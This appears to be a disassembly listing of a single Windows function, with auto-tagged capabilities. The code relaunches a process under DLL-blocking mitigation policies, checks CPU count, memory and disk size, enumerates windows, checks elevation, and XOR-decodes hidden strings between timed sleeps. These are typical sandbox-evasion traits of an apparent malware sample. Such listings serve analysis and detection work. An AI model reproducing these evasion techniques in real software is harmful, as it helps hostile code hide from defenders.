Function at 0x140002920
Capabilities:
Accept command line arguments
Create process on windows
Encode data using xor
Enumerate gui resources
Get memory capacity
Get system information on windows
Protect spawned processes with mitigation policies

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x4a0]
sub rsp, 0x5a0
mov rax, qword [0x140029040]
xor rax, rsp
mov qword [rbp + 0x470], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rbp - 0x18]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
xor edi, edi
mov r14d, 0x70
cmp dword [rbp - 0x18], 2
jl 0x140002a67
mov rbx, qword [rax + 8]
lea r9, [rbp - 0x10]
xorps xmm1, xmm1
mov qword [rsp + 0x30], rdi
xor eax, eax
movups xmmword [rbp - 0x40], xmm1
movups xmmword [rsp + 0x60], xmm1
mov qword [rbp - 0x20], rax
movabs rax, 0x100000000000
movups xmmword [rbp - 0x70], xmm1
mov qword [rsp + 0x28], rdi
xor edx, edx
movups xmmword [rsp + 0x70], xmm1
mov r8d, 0x20007
mov qword [rbp - 0x10], rax
movups xmmword [rbp - 0x80], xmm1
mov dword [rsp + 0x60], r14d
movups xmmword [rbp - 0x60], xmm1
mov dword [rbp - 0x64], 0x80000
movups xmmword [rbp - 0x50], xmm1
mov qword [rsp + 0x20], 8
psrldq xmm1, 8
xorps xmm0, xmm0
movq rcx, xmm1
movups xmmword [rbp - 0x30], xmm0
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
lea rax, [rbp - 0x30]
xor r9d, r9d
mov qword [rsp + 0x48], rax
xor r8d, r8d
lea rax, [rsp + 0x60]
mov rdx, rbx
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x80000
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x14000383a
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.140004a90
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp - 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, [rbp - 8]
mov qword [rsp + 0x5b0], rsi
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rbp + 0x18], 2
jb 0x14000386e
lea rcx, [rsp + 0x60]
mov dword [rsp + 0x60], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rsp + 0x68]
shr rax, 0x14
cmp eax, 0x800
jb 0x14000386e
mov qword [rsp + 0x30], rdi
lea rcx, str..PhysicalDrive0
mov dword [rsp + 0x28], edi
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], 3
mov r8d, 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140003862
mov qword [rsp + 0x38], rdi
lea rax, [rbp - 0x10]
mov qword [rsp + 0x30], rax
xor r9d, r9d
lea rax, [rbp - 0x30]
mov dword [rsp + 0x28], 0x18
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov edx, 0x70000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x140002b25
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000386e
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 0x1c]
imul rax, rcx
mov ecx, dword [rbp - 0x24]
imul rax, rcx
mov rcx, rsi
imul rax, qword [rbp - 0x30]
cqo
and edx, 0x3fffffff
lea rbx, [rdx + rax]
sar rbx, 0x1e
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 0x64
jb 0x14000386e
xor edx, edx
lea rcx, [0x1400020a0]
call qword [sym.imp.USER32.dll_EnumWindows]
xor edx, edx
mov word [rbp + 0x260], di
mov r8d, 0x206
lea rcx, [rbp + 0x262]
call fcn.140019cf0
mov r8d, 0x104
mov qword [rsp + 0x50], rdi
lea rdx, [rbp + 0x260]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x50]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140002cc3
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0x38]
mov r9d, 4
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x14]
mov edx, 0x14
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x140002cc3
cmp dword [rbp - 0x14], edi
jne 0x140002cc3
call fcn.140003b60
test eax, eax
je 0x140002ce1
movabs rax, 0x2700200026
lea rcx, [rbp + 0x48]
xor edx, edx
mov qword [rbp + 0x40], rax
mov r8d, 0x20a
call fcn.140019cf0
lea r8, [rbp + 0x260]
mov edx, 0x109
lea rcx, [rbp + 0x40]
call fcn.14000cd80
lea r8, [0x140024cfc]
mov edx, 0x109
lea rcx, [rbp + 0x40]
call fcn.14000cd80
mov ecx, dword [0x140024d10]
lea rdx, [rbp + 0x40]
movups xmm0, xmmword [0x140024d00]
movzx eax, word [0x140024d14]
mov dword [rbp - 0x20], ecx
xor ax, 0x3c
xor word [rbp - 0x1e], 0x3b
xor cx, 0x3a
movups xmmword [rbp - 0x30], xmm0
xor word [rbp - 0x2e], 0x33
xor word [rbp - 0x2c], 0x34
xor word [rbp - 0x2a], 0x35
xor word [rbp - 0x28], 0x36
xor word [rbp - 0x26], 0x37
xor word [rbp - 0x24], 0x38
xor word [rbp - 0x22], 0x39
mov word [rbp - 0x20], cx
lea rcx, [rbp - 0x30]
mov word [rbp - 0x30], r14w
mov word [rbp - 0x1c], ax
call fcn.1400046a0
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x140002ce1
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140002ce1
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x140002cd8
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x50], rdi
call fcn.140003b60
test eax, eax
jne 0x140002d13
xor eax, eax
mov rsi, qword [rsp + 0x5b0]
mov rcx, qword [rbp + 0x470]
xor rcx, rsp
call fcn.140004a70
lea r11, [rsp + 0x5a0]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
movups xmm0, xmmword [0x140024d20]
mov r8d, edi
movups xmm1, xmmword [0x140024d30]
mov eax, dword [0x140024d88]
mov esi, dword [0x140029090]
movups xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [0x140024d40]
movups xmmword [rbp - 0x80], xmm0
movups xmm0, xmmword [0x140024d60]
movups xmmword [rsp + 0x70], xmm1
movups xmm1, xmmword [0x140024d50]
movups xmmword [rbp - 0x60], xmm0
movsd xmm0, qword [0x140024d80]
movups xmmword [rbp - 0x70], xmm1
movups xmm1, xmmword [0x140024d70]
mov dword [rbp - 0x38], eax
movzx eax, word [0x140024d8c]
movaps xmmword [rsp + 0x590], xmm6
movsd qword [rbp - 0x40], xmm0
movaps xmmword [rsp + 0x580], xmm7
movups xmmword [rbp - 0x50], xmm1
mov word [rbp - 0x34], ax
cmp esi, 2
jl 0x140002eb1
movdqa xmm5, xmmword [0x140025270]
lea rcx, [rsp + 0x60]
movdqa xmm4, xmmword [0x1400252f0]
movdqa xmm6, xmmword [0x140025290]
movdqa xmm7, xmmword [0x1400252c0]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x30
jl 0x140002dc0
cmp r8d, 0x37
jge 0x140002ef5
movsxd rax, r8d
lea r9, [rsp + 0x60]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x5397829d
lea r9, [r9 + 2]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x32
xor word [r9 - 2], ax
cmp r8d, 0x37
jl 0x140002ec0
mov eax, dword [0x140024d10]
lea rdx, [rsp + 0x60]
movups xmm0, xmmword [0x140024d00]
mov dword [rbp - 0x20], eax
lea rcx, [rbp - 0x30]
movzx eax, word [0x140024d14]
xor word [rbp - 0x20], 0x3a
xor ax, 0x3c
xor word [rbp - 0x1e], 0x3b
movups xmmword [rbp - 0x30], xmm0
xor word [rbp - 0x2e], 0x33
xor word [rbp - 0x2c], 0x34
xor word [rbp - 0x2a], 0x35
xor word [rbp - 0x28], 0x36
xor word [rbp - 0x26], 0x37
xor word [rbp - 0x24], 0x38
xor word [rbp - 0x22], 0x39
mov word [rbp - 0x1c], ax
mov word [rbp - 0x30], r14w
call fcn.1400046a0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, 2
lea rdx, [rbp + 0x40]
mov ecx, ebx
lea rax, [0x140024ee0]
nop word [rax + rax]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rcx, 1
jne 0x140002f80
mov ecx, dword [rax]
mov r8d, edi
mov dword [rdx], ecx
cmp esi, ebx
jl 0x140003107
movdqa xmm5, xmmword [0x140025270]
lea rcx, [rbp + 0x40]
movdqa xmm4, xmmword [0x1400252f0]
movdqa xmm6, xmmword [0x140025290]
movdqa xmm7, xmmword [0x1400252c0]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x80
jl 0x140003010
cmp r8d, 0x82
jge 0x140003158
movsxd rax, r8d
lea r9, [rbp + 0x40]
lea r9, [r9 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
lea r9, [r9 + 2]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x32
xor word [r9 - 2], ax
cmp r8d, 0x82
jl 0x140003120
mov eax, dword [0x140024d10]
lea rdx, [rbp + 0x40]
movups xmm0, xmmword [0x140024d00]
mov dword [rbp - 0x20], eax
lea rcx, [rbp - 0x30]
movzx eax, word [0x140024d14]
xor word [rbp - 0x20], 0x3a
xor ax, 0x3c
xor word [rbp - 0x1e], 0x3b
movups xmmword [rbp - 0x30], xmm0
xor word [rbp - 0x2e], 0x33
xor word [rbp - 0x2c], 0x34
xor word [rbp - 0x2a], 0x35
xor word [rbp - 0x28], 0x36
xor word [rbp - 0x26], 0x37
xor word [rbp - 0x24], 0x38
xor word [rbp - 0x22], 0x39
mov word [rbp - 0x1c], ax
mov word [rbp - 0x30], r14w
call fcn.1400046a0
mov ecx, 0x4e2
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x40]
lea rax, [0x140024d90]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rbx, 1
jne 0x1400031d0
mov eax, dword [rax]
mov r8d, edi
mov dword [rcx], eax
cmp esi, 2
jl 0x140003357
movdqa xmm5, xmmword [0x140025270]
lea rcx, [rbp + 0x40]
movdqa xmm4, xmmword [0x1400252f0]
movdqa xmm6, xmmword [0x140025290]
movdqa xmm7, xmmword [0x1400252c0]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x80
jl 0x140003260
cmp r8d, 0x82
jge 0x1400033a8
movsxd rax, r8d
lea r9, [rbp + 0x40]
lea r9, [r9 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
lea r9, [r9 + 2]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x32
xor word [r9 - 2], ax
cmp r8d, 0x82
jl 0x140003370
mov eax, dword [0x140024d10]
lea rdx, [rbp + 0x40]
movups xmm0, xmmword [0x140024d00]
mov dword [rbp - 0x20], eax
lea rcx, [rbp - 0x30]
movzx eax, word [0x140024d14]
xor word [rbp - 0x20], 0x3a
xor ax, 0x3c
xor word [rbp - 0x1e], 0x3b
movups xmmword [rbp - 0x30], xmm0
xor word [rbp - 0x2e], 0x33
xor word [rbp - 0x2c], 0x34
xor word [rbp - 0x2a], 0x35
xor word [rbp - 0x28], 0x36
xor word [rbp - 0x26], 0x37
xor word [rbp - 0x24], 0x38
xor word [rbp - 0x22], 0x39
mov word [rbp - 0x1c], ax
mov word [rbp - 0x30], r14w
call fcn.1400046a0
mov ecx, 0x2ee0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x140024ed0]
mov r8d, edi
mov dword [rbp + 0x30], eax
movups xmm0, xmmword [0x140024e98]
movups xmm1, xmmword [0x140024ea8]
movups xmmword [rbp - 8], xmm0
movups xmm0, xmmword [0x140024eb8]
movups xmmword [rbp + 8], xmm1
movups xmmword [rbp + 0x18], xmm0
movsd xmm0, qword [0x140024ec8]
movsd qword [rbp + 0x28], xmm0
cmp esi, 2
jl 0x140003571
movdqa xmm5, xmmword [0x140025270]
lea rcx, [rbp - 8]
movdqa xmm4, xmmword [0x1400252f0]
movdqa xmm6, xmmword [0x140025290]
movdqa xmm7, xmmword [0x1400252c0]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x18
jl 0x140003480
cmp r8d, 0x1e
jge 0x1400035b5
movsxd rax, r8d
lea r9, [rbp - 8]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x5397829d
lea r9, [r9 + 2]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x32
xor word [r9 - 2], ax
cmp r8d, 0x1e
jl 0x140003580
mov eax, dword [0x140024d10]
lea rdx, [rbp - 8]
movups xmm0, xmmword [0x140024d00]
mov dword [rbp - 0x20], eax
lea rcx, [rbp - 0x30]
movzx eax, word [0x140024d14]
xor word [rbp - 0x20], 0x3a
xor ax, 0x3c
xor word [rbp - 0x1e], 0x3b
movups xmmword [rbp - 0x30], xmm0
xor word [rbp - 0x2e], 0x33
xor word [rbp - 0x2c], 0x34
xor word [rbp - 0x2a], 0x35
xor word [rbp - 0x28], 0x36
xor word [rbp - 0x26], 0x37
xor word [rbp - 0x24], 0x38
xor word [rbp - 0x22], 0x39
mov word [rbp - 0x1c], ax
mov word [rbp - 0x30], r14w
call fcn.1400046a0
mov ecx, 0x4e2
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x140025020]
mov dword [rbp + 0x30], eax
movups xmm0, xmmword [0x140024fe8]
movups xmm1, xmmword [0x140024ff8]
movups xmmword [rbp - 8], xmm0
movups xmm0, xmmword [0x140025008]
movups xmmword [rbp + 8], xmm1
movups xmmword [rbp + 0x18], xmm0
movsd xmm0, qword [0x140025018]
movsd qword [rbp + 0x28], xmm0
cmp esi, 2
jl 0x14000377e
movdqa xmm5, xmmword [0x140025270]
lea rcx, [rbp - 8]
movdqa xmm4, xmmword [0x1400252f0]
movdqa xmm6, xmmword [0x140025290]
movdqa xmm7, xmmword [0x1400252c0]
nop word [rax + rax]
movd xmm2, edi
lea eax, [rdi + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add edi, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov eax, edi
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp edi, 0x18
jl 0x140003690
cmp eax, 0x1e
jge 0x1400037c1
movsxd rax, edi
lea r8, [rbp - 8]
lea r8, [r8 + rax*2]
nop dword [rax]
mov eax, 0x5397829d
lea r8, [r8 + 2]
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, di
inc edi
sub ax, cx
add ax, 0x32
xor word [r8 - 2], ax
cmp edi, 0x1e
jl 0x140003790
mov eax, dword [0x140024d10]
lea rdx, [rbp - 8]
movups xmm0, xmmword [0x140024d00]
mov dword [rbp - 0x20], eax
lea rcx, [rbp - 0x30]
movzx eax, word [0x140024d14]
xor word [rbp - 0x20], 0x3a
xor ax, 0x3c
xor word [rbp - 0x1e], 0x3b
movups xmmword [rbp - 0x30], xmm0
xor word [rbp - 0x2e], 0x33
xor word [rbp - 0x2c], 0x34
xor word [rbp - 0x2a], 0x35
xor word [rbp - 0x28], 0x36
xor word [rbp - 0x26], 0x37
xor word [rbp - 0x24], 0x38
xor word [rbp - 0x22], 0x39
mov word [rbp - 0x1c], ax
mov word [rbp - 0x30], r14w
call fcn.1400046a0
movaps xmm7, xmmword [rsp + 0x580]
xor eax, eax
movaps xmm6, xmmword [rsp + 0x590]
jmp 0x140002ce3
mov rcx, rbx
call fcn.140004a90
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp - 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, 1
call fcn.14000a6e8
int3
lea rcx, str.Failed_to_open_HDD_n
call fcn.140001e90
mov ecx, 1
call fcn.14000a6e8
int3